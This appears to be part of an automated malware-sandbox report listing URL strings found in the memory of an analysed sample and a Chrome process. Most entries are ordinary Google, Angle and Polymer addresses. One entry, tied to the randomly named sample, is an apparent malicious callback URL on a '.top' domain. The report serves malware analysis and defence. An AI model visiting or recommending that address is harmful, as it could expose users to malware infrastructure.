Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/58810t
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000003.00000002.1766443384.000030740240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000003.00000002.1769241030.0000307402870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000003.00000002.1763214570.0000307402276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsxx
Source: chrome.exe, 00000003.00000002.1772199889.0000307402BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: Amcache.hve.14.dr	String found in binary or memory: http://upx.sf.net
